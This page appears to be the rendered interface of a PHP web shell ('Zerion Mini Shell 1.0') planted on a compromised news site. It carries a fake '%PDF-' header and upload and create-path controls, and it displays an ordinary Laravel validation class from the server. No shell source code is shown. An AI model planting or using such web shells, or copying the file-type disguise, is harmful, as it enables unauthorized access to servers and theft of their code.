%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/news/app/Http/Requests/Social/
Upload File :
Create Path :
Current File : /var/www/html/news/app/Http/Requests/Social/SocialUpdateRequest.php

<?php

namespace App\Http\Requests\Social;

use App\Http\Requests\BaseRequest;

class SocialUpdateRequest extends BaseRequest
{
    /**
     * Determine if the user is authorized to make this request.
     *
     * @return bool
     */
    public function authorize()
    {
        return true;
    }

    /**
     * Get the validation rules that apply to the request.
     *
     * @return array
     */
    public function rules()
    {
        return [
            'id'        => 'required|integer:exists:Socials,id',
            'url'       => 'nullable|url|unique:socials,url,' . $this->id,
            'is_active' => 'required|boolean'
        ];
    }

    public function getSanitationRules()
    {
        return [];
    }

}

Zerion Mini Shell 1.0